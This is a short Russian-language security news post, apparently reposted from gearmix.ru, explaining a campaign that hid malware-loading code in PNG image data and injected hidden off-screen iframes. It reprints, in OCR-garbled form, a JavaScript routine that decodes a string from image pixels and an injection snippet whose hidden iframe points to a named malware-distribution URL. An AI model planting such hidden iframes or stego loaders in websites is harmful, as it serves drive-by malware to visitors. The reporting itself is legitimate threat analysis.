Данный конкретный iFrame, код которого вы можете видеть на картинке, обращается к простому javascript файлу, jquery.js, который загружает PNG файл dron.png Это обычный файл изображения, однако здесь в javascript содержится переменная strData, которая и является сутью этой атаки.
iFrame позволяет метаданным этой картинки спокойно делать свою грязную работу, помещая её за пределы нормальной видимой зоны браузера – полностью за пределы экрана (-10000 пикселей). И хотя пользователи не могут видеть этот iFrame, его видит браузер — а заодно и Google, что может создать необходимые условия для атаки.
Адрес загрузки мелвера можно видеть на этой приведённой картинке в секции elm.src Это подозрительный российский сайт, который по данным Google, содержит два трояна, и уже заразил более 1000 доменов за последние 90 дней.
Такой подход не нов, и уже использовался хакерами прежде, но данный случай является самым продуманным примером использования этого вектора атаки.
«Большинство современных сканеров не смогут декодировать метаданные этой картинки, они остановятся на загруженном javascript, но не пойдут по цепочке cookie», говорит эксперт по компьютерной безопасности из компании Securi Питер Грамантик.
Стеганография, наука о сокрытии сообщений — например, в картинках и медиафайлах, прежде уже применялась в некоторых серьёзных атаках прошлых лет. Люди, стоящие за кампанией MiniDuke в 2013 году использовали её для сокрытия кастомизированного бэкдор-кода, а группировка Shady Rat использовала внедрение зашифрованных HTML-команд в изображения для сокрытия следов своей деятельности в 2011-м.
Источник: gearmix.ru.
Подробнее
1 function loadPNGData(strFilename, fncCallback) { 2 var bCanvas = false; 3 var oCanvas = document.createElement("canvas"); 4 1' (oCanvas.getContext) { 5 var oCtx = oCanvas.getContext("2d"); 6 i~ (oCtx.getlmageData) { 7 bCanvas = true; 8 > 9 > 10 if (bCanvas) { 11 var olmg = new ImageO; 12 olmg.style.position = "absolute”; 13 olmg.style.left = "-10000px"; 14 document.body.appendChild(olmg); (15 olmg.onload = function{) { 16 var iWidth = this.offsetWidth; 17 var iHeight = this.offsetHeight; 18 oCanvas.width = iWidth; 19 oCanvas.height iHeight; 20 oCanvas.style.width = iWidth "px";| 21 oCanvas.style.height = iHeight "px"; 22 var oText = document.getElementById("output"); 23 oCtx.drawImage(this,0,0); 24 var oData = oCtx.getImageData(0,0,iWidth,iHeight).data; 25 var a = []; 26 var len = oData.length; 27 var p = -1; 28 for (var i=0;i<len;i+=4) { 29 if (oData[i] > 0) 30 a[ -rp] = String.fromCharCode(oData[i]); 31 >; 32 var strData = a.join(""); 33 if (fncCallback) { 34 fncCallback(strData); 35 > 36 document.body.removeChild(olmg); >37 > 38 olmg.src = strFilename; 39 return true; 40 } else { 41 return false; 42 > 43 } 44 45 function loadFileO { 46 var strFile = './dron.png'; 47 loadPNGData(strFile, 48 function{strData) { 49 alert(strData); 50 > 51 ); 52 } 53 54 loadFileO;
varelm = document. createElement('iframe'); elm.style.position = 'absolute'; elm.style.left = '-1000px'; elm.style.top = '-1000px'; elm.width = '468'; elm.height = '60'; elm.src = 'http://bestbinfo.com/infogob.php?i=26388'; document.body.appendChild(elm);
Вирусы и Трояны,PNG,песочница